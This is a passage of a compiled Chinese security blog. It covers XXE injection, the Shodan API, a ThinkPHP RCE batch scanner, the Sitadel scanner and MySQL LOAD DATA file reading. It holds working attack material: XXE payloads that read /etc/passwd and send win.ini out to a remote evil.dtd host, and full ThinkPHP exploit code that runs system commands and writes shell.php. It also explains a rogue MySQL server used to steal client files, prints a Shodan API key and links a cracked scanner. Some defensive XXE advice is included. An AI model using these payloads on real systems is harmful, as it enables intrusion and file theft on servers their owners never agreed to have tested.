 <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">  
 
 <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">  
 
 %dtd;    
 
 %send;]>
 
 <root></root>

3.寻找XXE

1.检测xml是否被解析

 
<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>

2.检测是否支持外部实体解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>

4.xxe 注入利用步骤

在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。

(1)测试是否允许外部实体引用

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var "tzuxung">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(2)任意文件读取

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var SYSTEM "file:///etc/passwd">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(3)通过PHP://过滤器读取

<?xml version="1.0" encoding="utf-8"?>
 
<!DOCTYPE root[
 
<!ELEMENT root (data)>
 
<!ELEMENT data (#PCDATA)>
 
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
 
]>
 
<root>
 
    <data>&var;</data>
 
</root>

(4)xxe注入测试代码

xxe.php是一个存在XXE注入漏洞的简单页面

<html>
 
<body>
 
<h1>XXE Example</h1>
 
<form method="post" enctype="multipart/form-data">
 
    <label for="file">XML File:</label>
 
    <input type="file" name="file" id="file">
 
    <input type="submit" name="submit" value="Upload">
 
</form>
 
 
 
<h1>Result</h1>
 
<?php
 
    if( isset($_FILES["file"])){
 
        $doc = new DOMDocument();
 
        $doc->validateOnParse = true;
 
        $doc->Load($_FILES["file"]["tmp_name"]);
 
        $tags = $doc->getElementsByTagName("data");
 
        foreach($tags as $tag) {
 
            echo "<pre>" . $tag->nodeValue . "</pre>\n";
 
        }
 
 
 
    } else {
 
        echo "<h3>No file was selected for upload.</h3>";
 
    }
 
?>
 
</body>
 
</html>

xxe自动化注入检查工具

https://github.com/enjoiz/XXEinjector

XXE防御

1.使用开发语言提供的禁用外部实体的方法

PHP:
 
libxml_disable_entity_loader(true);
JAVA:
 
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
 
dbf.setExpandEntityReferences(false);
Python:
 
from lxml import etree
 
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.

例如,让我们来试着定义一个新的自定义实体“harmless”。

<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。

<?xml version="1.0"?>
 
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
 
<results>
 
    <result>This result is &harmless;</result>
 
</results>

XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:

This result is completely harmless

下面的这个就肯定不是无害的输入:

<?xml version="1.0"?>
 
<!DOCTYPE results [<!ENTITY harmless SYSTEM
 
"file:///var/www/config.ini">]>
 
<results>
 
    <result>&harmless;</result>
 
</results>

3.检查所使用的底层xml解析库,默认禁止外部实体的解析

4.使用第三方应用代码及时升级补丁

5.同时增强对系统的监控,防止此问题被人利用

对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
 
libxml_disable_entity_loader(true);
 
?>

以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

<?php
 
// with the XMLReader functionality:
 
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
 
// with the DOM functionality:
 
$dom = new DOMDocument();
 
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
 
?>>

from

The post XXE漏洞的挖掘方法与防护 常见的漏洞类型 appeared first on 🔰雨苁ℒ🔰.

shodan api使用指南 网络资产搜索引擎shodan

$
0
0

shodan api使用指南

虽然目前人们都认为谷歌是最强劲的搜索引擎,但Shodan才是互联网上最可怕的搜索引擎 shodan是一个针对网络设备的搜索引擎,通过Shodan API进行搜索,不仅数据更加丰富,而且能够配合自己的程序实现自动化分析。

本文将要介绍Shodan API在使用过程需要注意的问题,分享使用心得和脚本开发技巧。

0x01 本文将要介绍以下内容

暗网网址 250个 TorLinks | onion Link List

  • Shodan API的简单使用
  • 利用python调用Shodan API获得搜索结果
  • 对搜索结果作进一步处理
  • 三种积分(credits)的区别
  • 通过Shodan官网导出搜索结果和进一步处理

0x02 Shodan API的简单使用

1、注册账号,获得API Key

测试API Key为:SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3

2、安装python包

pip install shodan

3、通过Shodan CLI获得搜索结果

参考资料:https://cli.shodan.io/

注:

未付费只能获得100个搜索结果

CLI全称为command-line interface,即shodan的命令行模式

Windows系统下使用pip install在同级目录产生文件Shodan.exe

如下图

shodan api使用指南

(1) 初始化

shodan init <api key>

实际命令为:

shodan init SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3

如下图

shodan api使用指南

(2) 搜索指定内容(apache)的数量

shodan count apache

如下图

shodan api使用指南

获得结果23803090

(3) 搜索指定内容(apache)的信息

shodan search --fields ip_str,port,org,hostnames apache

搜索关键词:apache

输出:ip_str,port,org,hostnames

(4) 下载指定内容(apache)的搜索结果

shodan download result apache

搜索关键词:apache

保存文件名:result.json.gz

如下图

shodan api使用指南

(5) 解析文件,获得搜索结果

shodan parse --fields ip_str,port,org --separator , result.json.gz

如下图

shodan api使用指南

(6) 搜索指定IP的信息

shodan host 189.201.128.250

如下图

shodan api使用指南

0x03 三种积分(credits)的区别

Shodan共有三种积分(credits):

  • Export credits
  • Query credits
  • Scan credits

官方文档:

credit-types-explained

简单理解:

Export Credits

通过Shodan官网下载数据时使用

1 export credit = 10,000 results

注:

导出一次结果消耗一个credit,无论获取到的结果有多少,最多为10000个结果

月初不会更新

Query Credits

调用Shodan API时使用

1 query credit = 100 results

月初更新,也就是说如果只买了一个月的会员,那么下一个月清零

Scan Credits

调用Shodan API时使用

1 scan credit = 1 IP

月初更新

0x04 通过python调用Shodan API获得搜索结果

注:

未付费不仅无法使用搜索过滤条件,而且只能获得100个搜索结果

(1) 搜索指定内容(apache)的信息

python代码如下:

import shodan
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
try:
    results = api.search('Apache')
    print 'Results found: %s' % results['total']
    for result in results['matches']:         
            print ("%s:%s|%s|%s"%(result['ip_str'],result['port'],result['location']['country_name'],result['hostnames']))
except shodan.APIError, e:
    print 'Error: %s' % e

如下图

shodan api使用指南

如果未付费,无法使用搜索过滤条件,例如Apache country:"US"

(2) 搜索指定内容,将获得的IP写入文件

python代码如下:

import shodan
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
file_object = open('ip.txt', 'w')
try:
    results = api.search('Apache')
    print 'Results found: %s' % results['total']
    for result in results['matches']:         
#            print result['ip_str']
            file_object.writelines(result['ip_str']+'\n')
except shodan.APIError, e:
    print 'Error: %s' % e
file_object.close()

(3) 通过命令行参数指定搜索条件,将搜索到的IP写入文件

python代码如下:

import shodan
import sys
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
if len(sys.argv)<2:
    print '[!]Wrong parameter'
    sys.exit(0)
print '[*]Search string: %s' % sys.argv[1]
file_object = open('ip.txt', 'w')
try:
    results = api.search(sys.argv[1])
    print '[+]Results found: %s' % results['total']
    for result in results['matches']:         
#            print result['ip_str']
            file_object.writelines(result['ip_str']+'\n')
except shodan.APIError, e:
    print 'Error: %s' % e
file_object.close()

命令行参数:

search.py apache

注:

如果搜索多个关键词,需要用引号将搜索条件包含,例如:

search.py "apache country:US"

(4) 读取文件中的IP列表,反查IP信息

python代码如下:

import sys  
reload(sys)  
sys.setdefaultencoding('utf8')  
SHODAN_API_KEY = "SkVS0RAbiTQpzzEsahqnq2Hv6SwjUfs3"
api = shodan.Shodan(SHODAN_API_KEY)
def searchip( str ):
    try:
        host = api.host(str)
    except shodan.exception.APIError:
        print "[!]No information available"
        print "---------------------------------------------"
        return
    else:
        # Print general info
        try:
            print "IP: %s\r\nOrganization: %s\r\nOperating System: %s" % (host['ip_str'], host.get('org', 'n/a'), host.get('os', 'n/a'))
        except UnicodeEncodeError:
            print "[!]UnicodeEncode Error\r\n"     
        else:
            # Print all banners
            for item in host['data']:
                print "Port: %s\r\nBanner: %s" % (item['port'], item['data'])
        print "---------------------------------------------"   
        return
file_object = open('ip.txt', 'r')
for line in file_object:
    searchip(line)

0x05 通过Shodan官网下载搜索结果

通过Shodan官网下载数据时使用Export credits,如下图

shodan api使用指南

查询一次消耗一个export credit,无论结果有多少个,最多为10000个

导出格式选择为json

(1) 从下载的json结果文件中提取IP

python代码如下:

import json
file_object = open("shodan_data.json", 'r')
for line in file_object:
    data = json.loads(line)
    print data["ip_str"]   
file_object.close()

(2) 从下载的json结果文件中提取指定国家的IP和端口

国家代号在二级元素中,对应结构:data["location"]["country_code"]

python代码如下:

import json
import sys
import re
def search(country):
    file_object = open("shodan_data.json", 'r')
    file_object2 = open(country+".txt", 'w')
    for line in file_object:
        data = json.loads(line)  
        if re.search(data["location"]["country_code"], country, re.IGNORECASE):
            str1 = "%s:%s" % (data["ip_str"],data["port"])
            print str1
            file_object2.writelines(str1+'\n')
    file_object.close()
    file_object2.close()
if __name__ == "__main__":
    if len(sys.argv)<2:
        print ('[!]Wrong parameter')
        sys.exit(0)
    else:
        print ('[*]Search country code: %s' % sys.argv[1])
        search(sys.argv[1])
        print ("[+]Done")

命令行参数:

search.py US

生成文件US.txt,保存IP和对应的端口

0x06 小结

本文介绍了Shodan API的用法,分享使用心得和python脚本开发技巧。选择付费购买时,记得区分好三种积分(credits) from

官方版本(英文)

Installation

The shodan command-line interface (CLI) is packaged with the official Python library for Shodan, which means if you’re running the latest version of the library you already have access to the CLI. To install the new tool simply execute:easy_install shodan

Or if you’re running an older version of the Shodan Python library and want to upgrade:easy_install -U shodan

Once the tool is installed you have to initialize the environment with your API key using shodan initshodan init YOUR_API_KEY

You can get your API key from your Shodan account page located at:Get your API Key

Command Overview

The shodan CLI has a lot of commands, the most popular/ common ones are documented below. For the full list of commands just run the tool without any arguments:

$ shodan

count

Returns the number of results for a search query.

Example

$ shodan count microsoft iis 6.0
5310594

download

Search Shodan and download the results into a file where each line is a JSON banner. For more information on what the banner contains check out:Banner Specification

By default it will only download 1,000 results, if you want to download more look at the –limit flag.

The download command is what you should be using most often when getting results from Shodan since it lets you save the results and process them afterwards using the parsecommand. Because paging through results uses query credits, it makes sense to always store searches that you’re doing so you won’t need to use query credits for a search you already did in the past.

Example

shodan api使用指南

host

See information about the host such as where it’s located, what ports are open and which organization owns the IP.

Example

$ shodan host 189.201.128.250
shodan api使用指南

myip

Returns your Internet-facing IP address.

Example

$ shodan myip
199.30.49.210

parse

Use parse to analyze a file that was generated using the download command. It lets you filter out the fields that you’re interested in, convert the JSON to a CSV and is friendly for pipe-ing to other scripts.

Example

The following command outputs the IP address, port and organization in CSV format for the previously downloaded Microsoft-IIS data:

$ shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz
shodan api使用指南

search

This command lets you search Shodan and view the results in a terminal-friendly way. By default it will display the IP, port, hostnames and data. You can use the –fields parameter to print whichever banner fields you’re interested in.

Example

To search Microsoft IIS 6.0 and print out their IP, port, organization and hostnames use the following command:

$ shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0
shodan api使用指南

以上就是 shodan api使用指南 的详细信息,api这东西在哪里都一样:免费—限制 付费–加量.用法大同小异.. https://developer.shodan.io/api

html时钟特效

The post shodan api使用指南 网络资产搜索引擎shodan appeared first on 🔰雨苁ℒ🔰.

thinkphp远程代码执行漏洞批量检测工具

$
0
0

thinkphp远程代码执行漏洞批量检测工具

thinkPHPBatchPoc
ThinkPHP 5.0远程代码执行漏洞 getshell

thinkPHPBatchPoc 是一款thinkPHP远程代码执行漏洞批量检测工具

thinkphp远程代码执行漏洞批量检测工具

工具所使用的payload

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com

?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20"www_admintony_com";?%3E

工具使用方法

PS E:\PyProject> python .\thinkPHPBatchPoc.py
thinkPHPBatchPoc
脚本仅用于批量检测站点是否存在漏洞,请勿用于非法用途,否则作者不担负任何责任。

usage:
thinkPHPBatchPoc.py -f target.txt # 批量检测是否存在thinkPHP代码执行漏洞
thinkPHPBatchPoc.py -u target_URL # 指定检测是否存在thinkPHP代码执行漏洞

针对单个目标进行测试

PS E:\PyProject> python .\thinkPHPBatchPoc.py -u admintony.com
[+] http://admintony.com is vulnerable
[+] Payload is ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

批量测试

PS E:\PyProject> python .\thinkPHPBatchPoc.py -f .\target.txt
[+]Testing http://www.admintony.com
[-] http://www.admintony.com is not vulnerable

[+]Testing http://baidu.com
[-] http://baidu.com is not vulnerable

[+]Testing vulW3b.admintony.com/
[+] http://vulW3b.admintony.com/ is vulnerable
[+] Payload is ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com

工具代码: thinkPHPBatchPoc.py

#coding:utf-8

import requests,sys

payload = {
    0:r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
    1:r"?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com",
    2:r"?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E",
    3:r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
    4:r"?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E"
}

headers={'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
        'referer':'http://baidu.com'}

def Requests(url):
    res = requests.get(url,headers=headers)
    if 'www_admintony_com' in res.text:
        return True
    else:
        return False

def Requests_write(url,URL):
    # 写shell
    requests.get(url,headers=headers)
    # 验证是否写入成功
    res1 = requests.get(URL+'/shell.php')
    if 'www_admintony_com' in res1.text:
        return True
    else:
        return False

def Scan(url):
    URL = url
    if ('http://' in url) or ('https://' in url):
        pass
    else:
        url = 'http://'+url
        URL = url
    if 'index.php' not in url:
        url = url+'/index.php'
    i = 0
    flag =False
    while i<5:
        url = url+payload.get(i)
        #print(payload.get(i))
        if not flag:
            if i<4:
                flag = Requests(url)
            elif i==4:
                flag = Requests_write(url,URL)
            i = i+1
        else:
            break

    if i==5:
        print("[-] {} is not vulnerable".format(URL))
        print()
    else:
        print("[+] {} is vulnerable\n[+] Payload is {}".format(URL,payload.get(i-1)))
        print()

def Batch(file):

    with open(file,'r+') as f:
        targets = f.readlines()

    #print(targets)

    for t in targets:
        try:
            t = t.split('\n')[0]
        except:
            pass
        print('[+]Testing '+t)
        Scan(t)

def banner():
    print("""thinkPHPBatchPoc

脚本仅用于批量检测站点是否存在漏洞,请勿用于非法用途

usage:
thinkPHPBatchPoc.py -f target.txt # 批量检测是否存在thinkPHP代码执行漏洞
thinkPHPBatchPoc.py -u target_URL # 指定检测是否存在thinkPHP代码执行漏洞

    """)

if __name__ == '__main__':

    """
    usage : POC.py -f target.txt
            POC.py -u target_url
    """
    if len(sys.argv)!=3:
        banner()
        exit()

    if sys.argv[1]=='-f':
        Batch(sys.argv[2])
    elif sys.argv[1]=='-u':
        Scan(sys.argv[2])

from

The post thinkphp远程代码执行漏洞批量检测工具 appeared first on 🔰雨苁ℒ🔰.


随机密码在线生成 随机密码生成器 密码生成器

$
0
0

密码生成器 随机密码在线生成 随机密码生成器 随机数生成器 密码在线生成器 在线密码生成 在线随机数生成 在线生成随机密码 在线生成复杂密码 防破解密码生成 复杂密码生成 复杂密码在线生成

密码的强度决定了隐私的受保护程度 拒绝弱口令 保护隐私从复杂密码开始 html学习

随机密码在线生成 地址: https://www.ddosi.com/mm.html

效果图如下

随机密码在线生成

随机密码生成器

机器人跳舞 html时钟特效

The post 随机密码在线生成 随机密码生成器 密码生成器 appeared first on 🔰雨苁ℒ🔰.

Sitadel 一款功能强大的Web应用漏洞扫描器

$
0
0

Sitadel 一款功能强大的Web应用漏洞扫描器

Sitadel实际上是WAScan的升级版,不过是Python版本(>= 3.4)的,这样有助于研究人员根据自己的需要去进行自定义开发,并引入新的功能模块。

目前,Sitadel可实现扩展的功能如下:

前端框架检测
内容分发网络检测
定义扫描风险等级
插件系统
可使用Docker镜像进行构建和运行

Sitadel

工具安装

$ git clone https://github.com/shenril/Sitadel.git
$ cd Sitadel
$ pip install .
$ python sitadel.py –help

功能介绍

1. 指纹识别

服务器
Web框架(CakePHP、CheeryPy……)
前端框架(AngularJS、MeteorJS、VueJS……)
Web应用程序防火墙(Waf)
内容管理系统(CMS)
操作系统(Linux、Unix……)
编程语言(PHP、Ruby……)
Cookie安全
内容分发网络(CDN)

2. 攻击

(1)暴力破解

管理接口
常用后门
常用备份目录
常用备份文件
常用目录
常用文件
日志文件

(2)注入攻击

HTML注入
SQL注入
LDAP注入
XPath注入
跨站脚本(XSS)
远程文件披露(RFI)
PHP代码注入

(3)其他攻击

HTTPAllow方法
HTML对象
多重引用
Robots路径
WebDav
跨站追踪(XST)
PHPINFO
Listing

(4)漏洞利用

ShellShock
匿名密码(CVE-2007-1858)
SPDY(CVE-2012-4929)
Struts-Shock

参考命令

基本运行方式:

python sitadel http://website.com

以“高危”风险等级运行扫描,不支持重定向:

python sitadel http://website.com -r 2 --no-redirect

运行指定模块(查看运行日志):

python sitadel http://website.com -a admin backdoor -f header server –vvv

Docker运行:

docker build -t sitadel .
docker run sitadel http://example.com

Sitadel github下载地址:Sitadel

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name:    Sitadel - Web Application Security Scanner
# @repo:    https://github.com/shenril/Sitadel
# @author:  Shenril
# @license: See the file 'LICENSE.txt'

import argparse
import logging
import sys

from lib import __version__
from lib.config import settings
from lib.config.settings import Risk
from lib.request.request import Request
from lib.utils import banner, manager, output, validator
from lib.utils.container import Services
from lib.utils.datastore import Datastore
from lib.utils.output import Output


class Sitadel(object):
    bn = banner.Banner()
    ma = manager
    url = None

    def main(self):
        parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,
                                         usage=self.bn.banner())
        # Prepare the possible values for risk levels
        risk_values = [r.value for r in Risk]
        # Add arguments
        parser.add_argument("url", help="URL of the website to scan")
        parser.add_argument("-r", "--risk", type=int, help="Level of risk allowed for the scan",
                            choices=risk_values)
        parser.add_argument("-ua", "--user-agent", default="Sitadel " + __version__,
                            help="User-agent to set for the scan requests")
        parser.add_argument("--redirect", dest='redirect',
                            help="Whether or not the scan should follow redirection",
                            action="store_true")
        parser.add_argument("--no-redirect", dest='redirect',
                            help="Whether or not the scan should follow redirection",
                            action="store_false")
        parser.set_defaults(redirect=True)
        parser.add_argument("-t", "--timeout", type=int, help="Timeout to set for the scan HTTP requests")
        parser.add_argument("-c", "--cookie", help="Cookie to set for the scan HTTP requests")
        parser.add_argument("-p", "--proxy", help="Proxy to set for the scan HTTP requests")
        parser.add_argument("-f", "--fingerprint", nargs='+', help="Fingerprint modules to activate")
        parser.add_argument("-a", "--attack", nargs='+', help="Attack modules to activate")
        parser.add_argument("--config", help="Path to the config file", default="config/config.yml")
        parser.add_argument("-v", "--verbosity", action="count", default=0, help="Increase output verbosity")
        parser.add_argument('--version', action='version', version=self.bn.version())
        args = parser.parse_args()

        # Verify the target URL
        self.url = validator.validate_target(args.url)

        # Reading configuration
        settings.from_yaml(args.config)
        if args.risk is not None:
            settings.risk = Risk(args.risk)

        # Register services
        Services.register("datastore", Datastore(settings.datastore))
        Services.register("logger", logging.getLogger("sitadelLog"))
        Services.register("output", Output())
        Services.register("request_factory",
                          Request(url=self.url, agent=args.user_agent, proxy=args.proxy, redirect=args.redirect,
                                  timeout=args.timeout))

        # Display target and scan starting time
        self.bn.preamble(self.url)

        # Run the fingerprint modules
        self.ma.fingerprints(args.fingerprint,
                             args.user_agent,
                             args.proxy,
                             args.redirect,
                             args.timeout,
                             self.url,
                             args.cookie)

        # Run the crawler to discover urls
        discovered_urls = self.ma.crawler(self.url, args.user_agent)

        # Run the attack modules on discovered urls
        self.ma.attacks(args.attack, self.url, discovered_urls)


if __name__ == "__main__":
    try:
        Sitadel().main()
    except KeyboardInterrupt:
        sys.exit(output.Output().error('Interruption by the user, Quitting...'))

数学函数在线绘图

from

The post Sitadel 一款功能强大的Web应用漏洞扫描器 appeared first on 🔰雨苁ℒ🔰.

MySQL LOAD DATA任意文件读取 Load Data Infile

$
0
0

MySQL LOAD DATA任意文件读取

嘿,如果你能登陆对方的mysql服务器,却发现对方的数据库上没有什么重要数据怎么办?尝试通过MySQL LOAD DATA INFILE 特性来读取文件吧!

Load Data Infile
Awvs12破解版 Acunetix Scanner 12 cracked

LOAD DATA INFILE 语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键词,从客户主机读文件。如果LOCAL没指定,文件必须位于服务器上。语法如下:

LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]

但我们用到的语句大致如下:

load data infile 'file_name' into table table_name fields terminated by '分隔符'

本地测试一下语句,环境如下:

服务器:mysql 5.5.53,Windows系统,IP-192.168.246.1

客户端:Kali,IP-192.168.246.137从本地服务器导入数据

1 从本地服务器导入数据

# test.txt内容
 "3","pwd3"
 "4","pwd4"
 # load data infile命令
 load data infile 'D:/Equipment/phpstudy/MySQL/test.txt' into table user fields terminated by ','; 
MySQL LOAD DATA任意文件读取

2 从客户端导入数据

# /root/Document/test.txt 内容
 "1","pwd1"
 "2","pwd2"
 mysql -h 192.168.246.1 -u root -p -D test -e "load data local infile '/root/Documents/test.txt' into table user fields terminated by ',';"
MySQL LOAD DATA任意文件读取

回到我的本机(IP: 192.168.246.1)看一下添加数据成功没有

MySQL [test]> select * from user;
 +------+--------+
 | name | passwd |
 +------+--------+
 | "1"  | "pwd1" |
 | "2"  | "pwd2" |
 | "3"  | "pwd3" |
 | "4"  | "pwd4" |
 +------+--------+
 4 rows in set (0.00 sec)

添加成功

从服务器端阅读文件

想要使用LOAD DATA INFILE,服务器配置必须启用该功能,你可以通过标志位来判断服务器是否启动了该功能(默认是启动的)。你也可以在连接时使用--enable-local-infile来开启该功能。

使用wireshark抓包,在发出连接请求时,查看服务器回包中带有的FLAG 信息即可:

MySQL LOAD DATA任意文件读取
Can Use LOAD DATA LOCAL: Set

为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。你可以通过执行show variables like '%secure%'来查看:

MySQL LOAD DATA任意文件读取

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

另外,为了读取服务器上文件,在服务器主机上你必须有file的权限。否则报错:

ERROR 1045 (28000): Access denied for user

如果上述限制都满足的话,我们可以尝试通过LOAD DATA来读取一些更有用的文件,变成任意文件读取漏洞!

尝试读取MySQL的配置文件my.ini

MySQL LOAD DATA任意文件读取

成功读取,我们从一个没什么用的数据库读到了更好更有用的信息!

分析

让我们来深入的了解一下LOAD DATA INFILE 的工作原理。使用wireshark抓包:

  1. 客户端(即攻击者)连接mysql服务器3306端口
  2. 服务器发送问候包,包括协议线程ID,版本,mysql认证类型等。
  3. 客户端的下一个数据包是带有用户名,密码,数据库的认证包,以及LOAD DATA LOCAL选项的标志位
  4. 之后有一些包含客户端指定查询的数据包,如:“’show databases”’,“’select @@ version_comment limit 1”’等
  5. 然后是我们的查询语句load data local infile '/etc/passwd' into table test.test fields terminated by '\n';以及回包

​ 这个数据包对连接的客户端说:“嘿!请阅读/etc/passwd 文件并发给我”

上述过程就是LOAD DATA INFILE 的整个过程。如果能执行LOAD DATA INFILE 导入服务器上的文件自然是最好的,但是有时候我们并不能执行LOAD DATA INFILE,我们只能执行LOAD DATA LOCAL INFILE,即导入我们本机上的文件,这是因为我们当前账户没有读取服务器本地文件的权限。所以我们转换思路,互换一下服务器和客户端的位置,让被攻击者作为客户端来连接我们的服务器,并使客户端执行LOAD DATA LOCAL INFILE语句,下面的利用方式就是如此

从客户端读取文件

关于LOAD DATA INFILE 来读取文件的技术并不新鲜,以前就有了相关的帖子、工具和文章:

所以介绍一下从客户端读取文件的攻击流程:

MySQL LOAD DATA任意文件读取

MySQL LOAD DATA任意文件读取 攻击流程大致如上图:

  1. 攻击者向受害者提供MySQL服务器地址、账户、密码
  2. 受害者向攻击者提供的服务器发起请求,并尝试进行身份认证
  3. 攻击者的MySQL接受到受害者的连接请求,攻击者发送正常的问候、身份验证正确,并且向受害者的MySQL客户端请求文件。
  4. 受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过LOAD DATA INLINE 功能将文件内容发送回攻击者的MySQL服务器。
  5. 攻击者收到受害者服务器上的信息,读取文件成功,攻击完成。

攻击已经被写成了工具,工具将模拟一个假的MySQL服务器发送payload读取文件。

MySQL协议的一个特殊功能是客户端根本不跟踪请求的命令,完全基于服务器响应执行查询。所以模仿mysql服务器就变得简单,模拟初始握手,等待SQL语句包,然后忽略它,发出我们自己的LOAD DATA 的SQL语句等待响应。

为了成功利用,我们还需要客户端至少向我们的假服务器发出一次查询,这也很容易,还记得之前分析LOAD DATA INFILE时我们找到的查询版本信息的SQL包吗select @@version_comment?并且客户端向服务器发出的任何请求,我们只需回答Auth OK,就可以欺骗客户端,让客户端认为已经得到授权。

下面是从.pcap文件中得到的发包数据:

1 Auth OK:

0000   b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00   °5.D.£..'.ò...E.
 0010   00 3f f9 5e 40 00 40 06 2c c0 0a 00 00 3d 0a 00   .?ù^@.@.,À...=..
 0020   00 5e 0c ea ce 64 05 79 a6 55 f5 b2 1e 7b 80 18   .^.êÎd.y¦Uõ².{..
 0030   00 eb fd 46 00 00 01 01 08 0a 00 b2 5c ab 1a 89   .ëýF.......²\«..
 0040   49 a8 07 00 00 02 00 00 00 02 00 00 00            I¨...........

2 服务器问候:

0000   b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00   °5.D.£..'.ò...E.
 0010   00 93 f9 5c 40 00 40 06 2c 6e 0a 00 00 3d 0a 00   ..ù\@.@.,n...=..
 0020   00 5e 0c ea ce 64 05 79 a5 f6 f5 b2 1d d2 80 18   .^.êÎd.y¥öõ².Ò..
 0030   00 e3 e6 34 00 00 01 01 08 0a 00 b2 5c aa 1a 89   .ãæ4.......²\ª..
 0040   49 a5 5b 00 00 00 0a 35 2e 36 2e 32 38 2d 30 75   I¥[....5.6.28-0u
 0050   62 75 6e 74 75 30 2e 31 34 2e 30 34 2e 31 00 2d   buntu0.14.04.1.-
 0060   00 00 00 40 3f 59 26 4b 2b 34 60 00 ff f7 08 02   ...@?Y&K+4`.ÿ÷..
 0070   00 7f 80 15 00 00 00 00 00 00 00 00 00 00 68 69   ..............hi
 0080   59 5f 52 5f 63 55 60 64 53 52 00 6d 79 73 71 6c   Y_R_cU`dSR.mysql
 0090   5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64   _native_password
 00a0   00

3 请求/etc/passwd文件 :

0000   b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00   °5.D.£..'.ò...E.
 0010   00 43 f9 5f 40 00 40 06 2c bb 0a 00 00 3d 0a 00   .Cù_@.@.,»...=..
 0020   00 5e 0c ea ce 64 05 79 a6 60 f5 b2 1e a0 80 18   .^.êÎd.y¦`õ². ..
